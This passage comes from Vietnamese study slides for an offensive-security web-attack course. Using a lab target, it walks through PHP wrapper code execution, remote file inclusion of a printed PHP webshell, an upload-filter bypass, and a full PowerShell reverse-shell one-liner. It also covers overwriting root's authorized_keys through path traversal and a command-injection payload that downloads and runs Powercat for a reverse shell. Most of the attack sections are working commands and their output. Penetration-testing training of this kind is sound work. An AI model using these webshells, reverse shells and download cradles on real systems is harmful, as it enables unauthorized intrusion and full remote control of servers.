Listing 24 - Usage of the "data://" wrapper to execute ls
kali@kali:~$ 
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
admin.php
bavarian.php
css
fonts
img
index.php
js
...
  • Nhúng PHP snippet URL-encoded vào data://text/plain.
  • Output liệt kê file trong web root.
9.2.2 PHP WrappersTài Liệu Học Tập PWK

data:// với PHP snippet Base64

Listing 25 - Usage of the "data://" wrapper with base64 encoded data
kali@kali:~$ 
echo -n '<?php echo system($_GET["cmd"]);?>' | base64

PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==


kali@kali:~$ 
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
admin.php
bavarian.php
css
fonts
img
index.php
js
start.sh
...
  • Encode snippet trước để tránh một số filter dạng chuỗi.
  • Parameter cmd=ls được truyền vào code đã nhúng.
9.2.2 PHP WrappersTài Liệu Học Tập PWK

Workflow kiểm thử wrapper

1LFI baselineXác nhận parameter include file.
2FilterThử php://filter để lấy source.
3DecodeDecode Base64 và review logic/credential.
4ExecutionChỉ thử data:// khi cấu hình cho phép.
Điểm cần nhớWrapper không thay thế enumeration; nó mở rộng cách đọc hoặc include resource.
9.2.3 Remote File InclusionTài Liệu Học Tập PWK
9.2.3 Remote File Inclusion

Remote File Inclusion (RFI)

Include file từ hệ thống do tester kiểm soát qua HTTP hoặc SMB.

9.2.3 Remote File InclusionTài Liệu Học Tập PWK

Điều kiện và đặc điểm của RFI

  • Ít phổ biến hơn LFI vì target phải cho phép URL include.
  • Trong PHP, allow_url_include cần được bật.
  • File remote được include và execute trong context của web application.
  • Tình huống dễ gặp hơn khi ứng dụng vốn tải library hoặc data từ remote system.
Điểm cần nhớLFI và RFI có thể được phát hiện qua cùng loại parameter; khác biệt nằm ở nguồn file được include.
9.2.3 Remote File InclusionTài Liệu Học Tập PWK

Nội dung simple-backdoor.php

Listing 26 - Location and contents of the simple-backdoor.php webshell
kali@kali:/usr/share/webshells/php/$ 
cat simple-backdoor.php

...
<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        
$cmd = ($_REQUEST['cmd']);
        system($cmd);

        echo "</pre>";
        die;
}
?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
...
  • Webshell nhận command qua cmd.
  • File có sẵn trong /usr/share/webshells/php/.
9.2.3 Remote File InclusionTài Liệu Học Tập PWK

Serve webshell bằng Python http.server

Listing 27 - Starting the Python3 http.server module
kali@kali:/usr/share/webshells/php/$ 
python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
  • Current directory trở thành web root.
  • Target phải truy cập được IP/port của Kali.
9.2.3 Remote File InclusionTài Liệu Học Tập PWK

Include webshell remote và chạy ls

Listing 28 - Exploiting RFI with a PHP backdoor and execution of ls
kali@kali:/usr/share/webshells/php/$ 
curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"

...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>

<!-- Simple PHP backdoor by DK (http://michaeldaw.org) --> 


<pre>admin.php
bavarian.php
css
fonts
img
index.php
js
</pre>                        
  • Parameter page trỏ đến URL trên Kali.
  • Parameter cmd=ls được webshell thực thi.
9.2.3 Remote File InclusionTài Liệu Học Tập PWK

Chuỗi RFI tối thiểu

1Host fileĐặt file trong web root của HTTP server.
2Verify reachabilityQuan sát request GET từ target.
3Include URLĐưa remote URL vào parameter vulnerable.
4Execute / VerifyChạy command tối thiểu rồi mới chuyển sang shell.
An toàn labKhông host hoặc include payload trên hệ thống ngoài phạm vi được phép.
9.3 File UploadTài Liệu Học Tập PWK
9.3 File Upload

File Upload Vulnerabilities

Đánh giá nơi lưu file, cách kiểm tra extension và khả năng kết hợp với lỗ hổng khác.

9.3 File UploadTài Liệu Học Tập PWK

Ba nhóm rủi ro file upload

1

Executable upload

File được web server/runtime execute sau khi upload.

2

Chaining

Upload kết hợp Directory Traversal, XXE hoặc XSS.

3

User interaction

File độc hại cần người dùng mở, ví dụ tài liệu có macro.

Phạm vi chươngTập trung vào hai nhóm đầu: code execution trực tiếp và chaining với path traversal.
9.3.1 Executable FilesTài Liệu Học Tập PWK
9.3.1 Executable Files

Upload file có thể thực thi

Tìm upload mechanism, fingerprint stack, kiểm tra filter và xác minh vị trí file.

9.3.1 Executable FilesTài Liệu Học Tập PWK

Tìm upload mechanism ở đâu?

  • CMS: avatar, media library, blog post hoặc file attachment.
  • Website doanh nghiệp: career form, case file, customer portal hoặc tài liệu hỗ trợ.
  • Upload có thể không hiển thị rõ; cần crawl và kiểm tra request.
  • Fingerprint framework/language để chọn đúng loại webshell.
9.3.1 Executable FilesTài Liệu Học Tập PWK

Mountain Desserts có upload form

Figure 14: Updated "Mountain Desserts" Web Application
  • Admin link đã được thay bằng form upload ảnh.
  • XAMPP icon và nội dung trang gợi ý Windows + PHP/XAMPP.
Figure 14: Updated "Mountain Desserts" Web Application
9.3.1 Executable FilesTài Liệu Học Tập PWK

Tạo test.txt làm baseline

Listing 29 - Create a test text file
kali@kali:~$ 
echo "this is a test" > test.txt
  • File vô hại dùng để xác minh upload có hoạt động không.
  • Không bắt đầu bằng webshell khi chưa hiểu cơ chế lưu file.
9.3.1 Executable FilesTài Liệu Học Tập PWK

Upload test.txt thành công

Figure 15: Successful Upload of test.txt
  • Cơ chế không giới hạn ở image như mô tả.
  • Cần xác định đường dẫn file sau upload.
Figure 15: Successful Upload of test.txt
9.3.1 Executable FilesTài Liệu Học Tập PWK

simple-backdoor.php bị block

Figure 16: Failed Upload of simple-backdoor.php
  • Thông báo cho biết PHP extensions bị blacklist.
  • Không biết filter code ra sao nên cần thay đổi một yếu tố mỗi lần.
Figure 16: Failed Upload of simple-backdoor.php
9.3.1 Executable FilesTài Liệu Học Tập PWK

Các giả thuyết bypass blacklist

  • Thử extension PHP ít phổ biến như .phps hoặc .php7.
  • Thử thay đổi chữ hoa/chữ thường nếu blacklist chỉ chứa chuỗi lowercase.
  • Kiểm tra khả năng rename sau upload.
  • Luôn xác minh runtime có thực sự execute extension biến thể.
Điểm cần nhớUpload thành công chưa đồng nghĩa code execution; phải truy cập file và quan sát output.
9.3.1 Executable FilesTài Liệu Học Tập PWK

Đổi .php thành .pHP để bypass

Figure 17: Successful Upload of simple-backdoor.pHP
  • Case-sensitive comparison của blacklist bị vượt qua.
  • Ứng dụng báo file được lưu trong thư mục uploads.
Figure 17: Successful Upload of simple-backdoor.pHP
9.3.1 Executable FilesTài Liệu Học Tập PWK

Chạy dir qua webshell đã upload

Listing 30 - Execution of dir command in the uploaded webshell
kali@kali:~$ 
curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=dir

...
 
Directory of C:\xampp\htdocs\meteor\uploads


04/04/2022  06:23 AM    <DIR>          .
04/04/2022  06:23 AM    <DIR>          ..
04/04/2022  06:21 AM               
328 simple-backdoor.pHP

04/04/2022  06:03 AM               
 15 test.txt

               2 File(s)            343 bytes
               2 Dir(s)  15,410,925,568 bytes free
...
  • URL trỏ đúng thư mục /meteor/uploads/.
  • Output dir xác nhận server-side code execution.
9.3.1 Executable FilesTài Liệu Học Tập PWK

Từ upload đến code execution

1Baseline fileUpload file text/image hợp lệ.
2Bypass filterThay extension hoặc cách đặt tên.
3Locate fileTìm URL/path sau upload.
4Minimal commandChạy dir/id để xác minh.
NotesLưu request multipart, filename, response và URL truy cập file.
9.3.1 Executable FilesTài Liệu Học Tập PWK

Mở listener trên port 4444

Listing 31 - Starting Netcat listener on port 4444
kali@kali:~$ 
nc -nvlp 4444

listening on [any] 4444 ...
  • Khởi động listener trước khi kích hoạt reverse shell.
9.3.1 Executable FilesTài Liệu Học Tập PWK

Vì sao encode PowerShell one-liner?

  • Reverse shell chứa nhiều dấu ngoặc, quote, pipe và ký tự đặc biệt.
  • PowerShell dùng Unicode bytes trước khi Base64 encode cho parameter -enc.
  • Encoding giảm lỗi truyền qua URL, nhưng không thay đổi ý nghĩa lệnh.
  • IP và port phải khớp listener trên Kali.
9.3.1 Executable FilesTài Liệu Học Tập PWK

Encode reverse shell bằng PowerShell

Listing 32 - Encoding the oneliner in PowerShell on Linux
kali@kali:~$ 
pwsh

PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS> 
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'



PS> 
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)


PS> 
$EncodedText =[Convert]::ToBase64String($Bytes)


PS> 
$EncodedText

JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA


PS> 
exit
  • Lưu one-liner trong $Text.
  • Chuyển sang Unicode bytes rồi Base64.
9.3.1 Executable FilesTài Liệu Học Tập PWK

Gửi encoded one-liner qua webshell

Listing 33 - Using curl to send the base64 encoded reverse shell oneliner
kali@kali:~$ 
curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
  • Dùng powershell -enc.
  • Space được URL-encode thành %20.
9.3.1 Executable FilesTài Liệu Học Tập PWK

Reverse shell Windows được nhận

Listing 34 - Incoming reverse shell
kali@kali:~$ 
nc -nvlp 4444

listening on [any] 4444 ...
connect to [192.168.119.3] from (UNKNOWN) [192.168.50.189] 50603

ipconfig


Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 192.168.50.189
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.50.254

PS C:\xampp\htdocs\meteor\uploads> 
whoami


nt authority\system
  • ipconfig xác nhận target IP.
  • whoami cho thấy process chạy với quyền nt authority\system.
9.3.1 Executable FilesTài Liệu Học Tập PWK

Các webshell có sẵn trên Kali

Listing 35 - Listing of the webshells directory on Kali
kali@kali:~$ 
ls -la /usr/share/webshells

total 40
drwxr-xr-x   8 root root  4096 Feb 11 02:00 .
drwxr-xr-x 320 root root 12288 Apr 19 09:17 ..
drwxr-xr-x   2 root root  4096 Feb 11 01:58 asp
drwxr-xr-x   2 root root  4096 Apr 25 07:25 aspx
drwxr-xr-x   2 root root  4096 Feb 11 01:58 cfm
drwxr-xr-x   2 root root  4096 Apr 25 07:06 jsp
lrwxrwxrwx   1 root root    19 Feb 11 02:00 laudanum -> /usr/share/laudanum
drwxr-xr-x   2 root root  4096 Feb 11 01:58 perl
drwxr-xr-x   3 root root  4096 Feb 11 01:58 php
  • Kali cung cấp webshell cho ASP, ASPX, CFM, JSP, Perl và PHP.
  • Chọn file phù hợp technology stack của target.
9.3.1 Executable FilesTài Liệu Học Tập PWK

Checklist kiểm thử executable upload

File types được mô tả và thực tế
Extension filter: allowlist hay blacklist
Case sensitivity và alternative extensions
Content-Type và magic bytes
Tên file có được đổi/sanitize không
Đường dẫn lưu và URL truy cập
Runtime có execute file không
User/quyền của web-server process
9.3.2 Non-Executable FilesTài Liệu Học Tập PWK
9.3.2 Non-Executable Files

Upload file không thực thi

Khi không thể chạy file, kiểm tra path traversal và khả năng ghi đè file hệ thống.

9.3.2 Non-Executable FilesTài Liệu Học Tập PWK

Tư duy chaining

  • Unrestricted upload có thể không tạo system access nếu file chỉ được lưu.
  • Tìm lỗ hổng thứ hai: path traversal trong filename, overwrite hoặc processing bug.
  • Upload trùng tên có thể tiết lộ file đã tồn tại hoặc behavior của backend.
  • Blind overwrite trên hệ thống thật có thể gây mất dữ liệu — cần Rules of Engagement.
Cảnh báoKhông thử ghi đè file production khi chưa có phê duyệt rõ ràng.
9.3.2 Non-Executable FilesTài Liệu Học Tập PWK

Phiên bản mới của Mountain Desserts

Figure 18: Mountain Desserts Application on Windows
  • Ứng dụng vẫn có upload nhưng URL không còn index.php.
  • Cần xác minh runtime thay vì giả định PHP vẫn tồn tại.
Figure 18: Mountain Desserts Application on Windows
9.3.2 Non-Executable FilesTài Liệu Học Tập PWK

Kiểm tra các PHP path cũ

Listing 36 - Failed attempts to access PHP files
kali@kali:~$ 
curl http://mountaindesserts.com:8000/index.php

404 page not found

kali@kali:~$ 
curl http://mountaindesserts.com:8000/meteor/index.php

404 page not found

kali@kali:~$ 
curl http://mountaindesserts.com:8000/admin.php

404 page not found
  • Ba URL đều trả 404 page not found.
  • Có cơ sở giả định backend không còn dùng PHP.
9.3.2 Non-Executable FilesTài Liệu Học Tập PWK

Upload text file thành công

Figure 19: Text file successfully uploaded
  • File được nhận nhưng chưa biết path lưu hoặc khả năng thực thi.
  • Thử upload lại cùng tên để quan sát error/overwrite behavior.
Figure 19: Text file successfully uploaded
9.3.2 Non-Executable FilesTài Liệu Học Tập PWK

Request multipart trong Burp

Figure 20: POST request for the file upload of test.txt in Burp
  • Đưa POST request sang Repeater để kiểm soát filename.
  • Giữ nguyên body và chỉ thay parameter cần kiểm tra.
Figure 20: POST request for the file upload of test.txt in Burp
9.3.2 Non-Executable FilesTài Liệu Học Tập PWK

Chèn relative path vào filename

Figure 21: Relative path in filename to upload file outside of web root
  • Filename chứa nhiều ../.
  • Response echo path chưa đủ chứng minh file được ghi ngoài web root.
Figure 21: Relative path in filename to upload file outside of web root
Giả thuyếtNếu backend dùng filename trực tiếp, có thể blind-write đến path tùy ý.
9.3.2 Non-Executable FilesTài Liệu Học Tập PWK

Quyền của web-server process quyết định impact

  • Apache/Nginx thường chạy dưới user riêng như www-data.
  • IIS có Network Service hoặc Application Pool Identity.
  • Ứng dụng dùng web server tích hợp đôi khi bị chạy bằng root/Administrator để tránh lỗi permission.
  • Nếu process có quyền cao, arbitrary file write có thể dẫn đến takeover hệ thống.
9.3.2 Non-Executable FilesTài Liệu Học Tập PWK

Tạo SSH keypair và authorized_keys

Listing 37 - Prepare authorized_keys file for File Upload
kali@kali:~$ 
ssh-keygen

Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): 
fileup

Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 

Your identification has been saved in fileup


Your public key has been saved in fileup.pub

...

kali@kali:~$ 
cat fileup.pub > authorized_keys
  • Public key được ghi vào file tên authorized_keys.
  • Private key fileup được giữ trên Kali.
9.3.2 Non-Executable FilesTài Liệu Học Tập PWK

Ghi authorized_keys bằng path traversal

Figure 22: Exploit File Upload to write authorized_keys file in root home directory
  • Filename được đổi thành path tới /root/.ssh/authorized_keys.
  • Nếu write thành công, private key tương ứng có thể xác thực SSH.
Figure 22: Exploit File Upload to write authorized_keys file in root home directory
An toàn labĐây là hành động thay đổi file hệ thống; chỉ thực hiện trong VM lab.
9.3.2 Non-Executable FilesTài Liệu Học Tập PWK

SSH bằng key sau khi overwrite

Listing 38 - Using the SSH key to successufully connect via SSH as the root user
kali@kali:~$ 
rm ~/.ssh/known_hosts


kali@kali:~$ 
ssh -p 2222 -i fileup root@mountaindesserts.com

The authenticity of host '[mountaindesserts.com]:2222 ([192.168.50.16]:2222)' can't be established.
ED25519 key fingerprint is SHA256:R2JQNI3WJqpEehY2Iv9QdlMAoeB3jnPvjJqqfDZ3IXU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? 
yes

...

root@76b77a6eae51:~#
  • Xóa known_hosts cũ vì target lab đã thay đổi.
  • Dùng -p 2222-i fileup.
9.3.2 Non-Executable FilesTài Liệu Học Tập PWK

Chuỗi arbitrary file write

1Control filenameChèn path tương đối vào multipart filename.
2Choose target fileChọn file có tác động nhưng có thể hoàn nguyên trong lab.
3UploadGửi authorized_keys chứa public key do mình kiểm soát.
4VerifySSH bằng private key tương ứng.
Điểm cần nhớResponse echo filename không phải bằng chứng; cần một phép xác minh độc lập.
9.4 Command InjectionTài Liệu Học Tập PWK
9.4 Command Injection

Command Injection

Tìm nơi ứng dụng truyền input xuống operating system và vượt qua filter một cách có kiểm soát.

9.4 Command InjectionTài Liệu Học Tập PWK

Mục tiêu học tập

I

Identify

Tìm function có dấu hiệu chạy lệnh hệ điều hành.

B

Bypass

Bắt đầu từ input hợp lệ rồi thử delimiter/encoding.

C

Context

Xác định Windows/Linux và PowerShell/CMD/Bash.

A

Access

Chứng minh impact bằng command tối thiểu rồi reverse shell trong lab.

9.4.1 OS Command InjectionTài Liệu Học Tập PWK
9.4.1 OS Command Injection

OS Command Injection

Từ chức năng git clone đến arbitrary PowerShell command và reverse shell.

9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Vì sao command injection xuất hiện?

  • Ứng dụng cần tương tác với OS nhưng developer dùng input trực tiếp thay vì API đã chuẩn bị.
  • Sanitization thủ công thường chỉ chặn một số chuỗi hoặc command cụ thể.
  • Chức năng linh hoạt như clone repository dễ dẫn đến ghép chuỗi command.
  • Mục tiêu đầu tiên là xác định input được truyền xuống shell ở đâu.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Form clone repository

Figure 23: Modified Web Content and new Input Textbox
  • Input yêu cầu một chuỗi git clone ....
  • Giả thuyết: backend thực thi trực tiếp chuỗi người dùng nhập.
Figure 23: Modified Web Content and new Input Textbox
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Command clone ExploitDB

Figure 24: Clone command for the ExploitDB repository
  • Dùng input hợp lệ để tạo baseline.
  • Output của ứng dụng cho biết command thực tế được dùng.
Figure 24: Clone command for the ExploitDB repository
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Ứng dụng báo clone thành công

Figure 25: Successfully cloned the ExploitDB Repository via the Web Application
  • Trong lab có thể bỏ qua lỗi internet/repository.
  • Điểm quan trọng là backend đã nhận và chạy command.
Figure 25: Successfully cloned the ExploitDB Repository via the Web Application
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Archive parameter trong POST request

Figure 26: Archive Parameter in the POST request
  • Burp cho thấy input nằm trong parameter Archive.
  • Có thể tái tạo request bằng curl để thử từng biến thể.
Figure 26: Archive Parameter in the POST request
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

ipconfig bị filter phát hiện

Listing 39 - Detected Command Injection for ipconfig
kali@kali:~$ 
curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive



Command Injection detected. Aborting...%!(EXTRA string=ipconfig)
      
  • Request dùng POST và --data.
  • Thông báo cho biết filter nhận diện command trực tiếp.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Backtrack từ input hợp lệ

  • Không tiếp tục đoán ngẫu nhiên sau khi ipconfig bị chặn.
  • Thử phần tối thiểu được phép: git.
  • Mở rộng từ command hợp lệ bằng subcommand hoặc delimiter.
  • So sánh output để hiểu filter kiểm tra prefix, substring hay toàn chuỗi.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Chỉ gửi command git

Listing 40 - Entering git as command
kali@kali:~$ 
curl -X POST --data 'Archive=git' http://192.168.50.189:8000/archive


An error occured with execution: exit status 1 and usage: git [--version] [--help] [-C <path>] [-c <name>=<value>]
           [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
           [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--bare]
...
   push      Update remote refs along with associated objects

'git help -a' and 'git help -g' list available subcommands and some
concept guides. See 'git help <command>' or 'git help <concept>'
to read about a specific subcommand or concept.
See 'git help git' for an overview of the system.
  • Git help xuất hiện, xác nhận backend chạy command.
  • Ứng dụng không giới hạn ở git clone.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Dùng git version fingerprint hệ điều hành

Listing 40 - Using git version to detect the operating system
kali@kali:~$ 
curl -X POST --data 'Archive=git version' http://192.168.50.189:8000/archive


Repository successfully cloned with command: git version and output: git version 
2.35.1.windows.2
  • Output chứa windows.
  • Chọn payload Windows/PowerShell cho bước tiếp theo.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Delimiter cần thử theo context

DelimiterÝ nghĩaGhi chú
;Tách command trong nhiều shellCó thể cần URL-encode thành %3B
&&Chạy command sau nếu command trước thành côngPhổ biến trong shell và CMD
&Tách command trong CMD/PowerShellÝ nghĩa khác nhau tùy shell
Pipe / newlineNối output hoặc commandChỉ thử sau khi hiểu parser
Điểm cần nhớDelimiter và encoding phụ thuộc nơi request được decode và shell thực thi.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Ghép git và ipconfig bằng semicolon

Listing 41 - Entering git and ipconfig with encoded semicolon
kali@kali:~$ 
curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.50.189:8000/archive


...
'git help -a' and 'git help -g' list available subcommands and some
concept guides. See 'git help <command>' or 'git help <concept>'
to read about a specific subcommand or concept.
See 'git help git' for an overview of the system.


Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 192.168.50.189
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.50.254
  • Semicolon được URL-encode.
  • Cả Git help và ipconfig xuất hiện, xác nhận arbitrary command.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Xác định shell thực thi

  • Biết Windows chưa đủ; payload cho CMD và PowerShell khác nhau.
  • Dùng snippet có output khác nhau tùy environment.
  • Context quyết định download cradle, quoting và delimiter.
  • Ghi lại chính xác shell trước khi xây payload dài.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Snippet phân biệt CMD và PowerShell

Listing 42 - Code Snippet to check where our code is executed
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
  • Snippet từ tài liệu gốc in ra environment đang thực thi.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Kết quả xác nhận PowerShell

Listing 43 - Determining where the injected commands are executed
kali@kali:~$ 
curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.50.189:8000/archive


...
See 'git help git' for an overview of the system.

PowerShell
  • Response chứa PowerShell.
  • Chuyển sang PowerShell download cradle và Powercat.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Chuẩn bị reverse shell Powercat

1Serve scriptCopy powercat.ps1 và chạy HTTP server.
2ListenerMở Netcat trên port 4444.
3InjectDownload script rồi gọi powercat.
4VerifyQuan sát GET request và shell kết nối về.
An toàn labĐảm bảo IP/port thuộc đúng lab và listener do bạn kiểm soát.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Serve powercat.ps1 bằng Python

Listing 44 - Serve Powercat via Python3 web server
kali@kali:~$ 
cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .


kali@kali:~$ 
python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
  • Copy Powercat vào current directory.
  • HTTP server chạy port 80.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Mở Netcat listener

Listing 45 - Starting Netcat listener on port 4444
kali@kali:~$ 
nc -nvlp 4444

listening on [any] 4444 ...
  • Listener phải sẵn sàng trước khi gửi command injection.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

PowerShell download cradle + Powercat

Listing 46 - Command to download PowerCat and execute a reverse shell
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell 
  • Phần đầu tải và load function Powercat.
  • Phần sau kết nối tới Kali, port 4444 và execute PowerShell.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Gửi payload Powercat đã URL-encode

Listing 47 - Downloading Powercat and creating a reverse shell via Command Injection
kali@kali:~$ 
curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' http://192.168.50.189:8000/archive
  • Prefix git; giữ chuỗi vượt qua filter.
  • Toàn bộ ký tự đặc biệt được encode như tài liệu gốc.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

HTTP server nhận GET powercat.ps1

Listing 48 - Python3 web server shows GET request for powercat.ps1
kali@kali:~$ 
python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

192.168.50.189 - - [05/Apr/2022 09:05:48] "GET /powercat.ps1 HTTP/1.1" 200 -
  • GET từ target chứng minh download cradle đã chạy.
  • Nếu chưa có shell, kiểm tra listener, firewall và command phần hai.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Nhận PowerShell reverse shell

Listing 49 - Successfull reverse shell connection via Command Injection
kali@kali:~$ 
nc -nvlp 4444

listening on [any] 4444 ...
connect to [192.168.119.3] from (UNKNOWN) [192.168.50.189] 50325
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.


PS C:\Users\Administrator\Documents\meteor>
  • Prompt cho thấy shell dưới thư mục của Administrator.
  • Chuỗi bằng chứng hoàn chỉnh: injection → download → callback.
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Checklist Command Injection

Input hợp lệ và baseline response
Parameter được gửi xuống backend
Command bị filter và message trả về
Prefix/subcommand được phép
Delimiter và encoding thành công
Operating system
Shell thực thi
Minimal command proof
Callback/download evidence
Quyền của process và impact
9.4.1 OS Command InjectionTài Liệu Học Tập PWK

Cách tiếp cận bài lab và capstone

  • Bắt đầu bằng enumeration ứng dụng, không nhảy thẳng vào reverse shell.
  • Xác định parameter và request method bằng Burp hoặc curl.
  • Xây proof nhỏ: command version, hostname, id hoặc whoami.
  • Sau khi hiểu OS/shell mới chọn reverse shell phù hợp.
  • Ghi lại mọi biến thể thất bại để tránh lặp lại và nhận diện filter.
Không phải mẹo thiTrọng tâm là quy trình có thể giải thích và tái hiện, không phải ghi nhớ một payload duy nhất.
9.5 Wrapping UpTài Liệu Học Tập PWK
9.5 Wrapping Up

Tổng kết Chương 9

Liên kết bốn nhóm lỗ hổng thành một phương pháp kiểm thử web application có hệ thống.

9.5 Wrapping UpTài Liệu Học Tập PWK

Chuỗi tư duy xuyên suốt chương

1Discover inputParameter, filename, header hoặc form field.
2Understand processingRead, include, save hay execute?
3Minimal proofĐọc file hoặc chạy command ít tác động.
4Escalate carefullyChỉ chuyển sang key/shell khi impact cần được chứng minh.
9.5 Wrapping UpTài Liệu Học Tập PWK

Bốn nhóm lỗ hổng và dấu hiệu chính

NhómInput đáng chú ýDấu hiệu xác minhHướng tiếp theo
Directory TraversalPath/file parameterNội dung file ngoài web rootTìm user, key, config, log
File InclusionFile include parameterFile executable bị executeLog poisoning, wrapper, RFI
File UploadMultipart filename/contentFile được lưu hoặc executeBypass filter hoặc arbitrary write
Command InjectionField tạo lệnh OSOutput command thứ haiFingerprint OS/shell rồi chứng minh access
Điểm cần nhớCùng một parameter có thể chuyển từ information disclosure sang code execution khi cách backend xử lý file thay đổi.
9.5 Wrapping UpTài Liệu Học Tập PWK

Khi nào nên quay lại enumeration?

  • Payload liên tục bị chặn nhưng chưa hiểu filter hoặc parser.
  • Upload thành công nhưng không biết nơi lưu file.
  • Command chạy nhưng output cho thấy OS/shell khác giả định.
  • Đọc được source/config mới làm lộ endpoint, credential hoặc path mới.
  • Permission của process không đủ cho hướng đang theo đuổi.
9.5 Wrapping UpTài Liệu Học Tập PWK

Notes và báo cáo cần có

Target, hostname, port và scope
Request gốc và request đã sửa
Parameter/filename/header bị kiểm soát
Payload giữ nguyên ký tự
Response hoặc screenshot chứng minh
Technology stack và OS/shell
Quyền của process
Impact thực tế trong lab
Điều kiện và giới hạn khai thác
Remediation gắn với root cause
Điểm cần nhớMột finding tốt phải cho người khác tái hiện được mà không cần đoán bước bị thiếu.
9.5 Wrapping UpTài Liệu Học Tập PWK

Sai lầm thường làm mất thời gian

  • Gọi nhầm Directory Traversal là LFI và bỏ qua khả năng execute.
  • Chỉ dùng browser cho request phức tạp thay vì Burp/curl.
  • Không kiểm tra OS, shell hoặc runtime trước khi chọn payload.
  • Thay nhiều yếu tố cùng lúc nên không biết bypass nào có tác dụng.
  • Coi upload thành công là code execution mà chưa truy cập file.
  • Không lưu response baseline và output thất bại.
Điểm cần nhớKhi một hướng không còn hiệu quả, quay lại dữ liệu đã thu thập thay vì tăng độ phức tạp payload một cách mù quáng.
9.5 Wrapping UpTài Liệu Học Tập PWK

Phạm vi và an toàn thực hành

